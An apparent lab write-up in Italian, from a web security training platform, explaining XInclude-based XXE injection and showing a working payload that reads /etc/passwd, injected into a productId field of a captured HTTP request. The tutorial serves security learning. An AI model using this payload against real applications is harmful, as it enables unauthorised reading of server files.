tags: XXE XML-XXE_Injection XXE_XInclude
In molti casi, la superficie di attacco per le vulnerabilità di iniezione XXE è evidente, poiché il normale traffico HTTP dell’applicazione include richieste contenenti dati in formato XML. In altri casi, la superficie di attacco è meno visibile. Tuttavia, se si cerca nei punti giusti, si possono trovare vulnerabilità XXE anche in richieste che non contengono XML.
Attacchi XInclude Alcune applicazioni ricevono dati dal client, li incorporano lato server in un documento XML e quindi analizzano il documento. Un esempio si verifica quando i dati inviati dal client vengono inseriti in una richiesta SOAP di back-end, che viene poi elaborata dal servizio SOAP di back-end.
In questa situazione, non è possibile eseguire un classico attacco XXE, perché non si ha il controllo dell’intero documento XML e quindi non è possibile definire o modificare un elemento DOCTYPE. Tuttavia, è possibile utilizzare XInclude. XInclude è una parte della specifica XML che consente di costruire un documento XML a partire da sottodocumenti. È possibile inserire un attacco XInclude all’interno di qualsiasi valore di dati in un documento XML, quindi l’attacco può essere eseguito in situazioni in cui si controlla un solo elemento di dati inserito in un documento XML lato server.
Per eseguire un attacco XInclude, è necessario fare riferimento allo spazio dei nomi XInclude e fornire il percorso del file che si desidera includere. Ad esempio:
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>Esempio
In questo esempio ho inserito questo payload all’interno del valore productID:
POST /product/stock HTTP/2
Host: 0a8800c503796e0d80628a720086000d.web-security-academy.net
Cookie: session=tVcSaeBeOiTCpBRWGmQsQtCsM8QJjEKD
Content-Length: 132
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not-A.Brand";v="24", "Chromium";v="146"
Content-Type: application/x-www-form-urlencoded
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36
Accept: */*
Origin: https://0a8800c503796e0d80628a720086000d.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a8800c503796e0d80628a720086000d.web-security-academy.net/product?productId=1
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=2